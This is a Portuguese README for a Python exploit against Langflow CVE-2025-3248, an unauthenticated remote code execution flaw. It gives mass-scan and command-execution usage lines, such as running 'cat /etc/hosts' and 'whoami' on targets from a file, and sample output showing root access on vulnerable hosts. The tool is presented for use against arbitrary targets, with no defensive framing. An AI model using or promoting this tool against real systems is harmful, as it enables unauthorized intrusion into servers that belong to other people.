Exploit Langflow CVE-2025-3248

Um exploit baseado em Python para CVE-2025-3248, que permite a atacantes remotos e não autenticados executar código arbitrário em instâncias Langflow vulneráveis através de requisições HTTP manipuladas.

Funcionalidades

• Varredura de URL única ou em massa a partir de arquivo
• Detecção automática de vulnerabilidade
• Capacidade de execução de comandos
• Saída detalhada com informações de tempo
• Resultados salvos em arquivos separados para alvos vulneráveis e não vulneráveis
• Estatísticas de benchmark para desempenho da varredura

Uso

Varredura de URL Única

python CVE-2025-3248.py http://target-url -c "cat /etc/hosts"

Varredura em Massa a partir de Arquivo

python CVE-2025-3248.py -f targets.txt

Execução de Comando Personalizado

python CVE-2025-3248.py -f targets.txt -c "whoami"

Exemplo de Saída

[*] Progress: 1/10 URLs checked
[*] Checking https://example.com
[+] Vulnerable - Command Output:
uid=0(root) gid=0(root) groups=0(root)
--------------------------------------------------

[*] Scan Summary:
[+] Total URLs checked: 10
[+] Vulnerable URLs: 3
[+] Not Vulnerable URLs: 7
[*] Total scan time: 25.34s
[*] Results saved to files with timestamp

fonte: https://github.com/verylazytech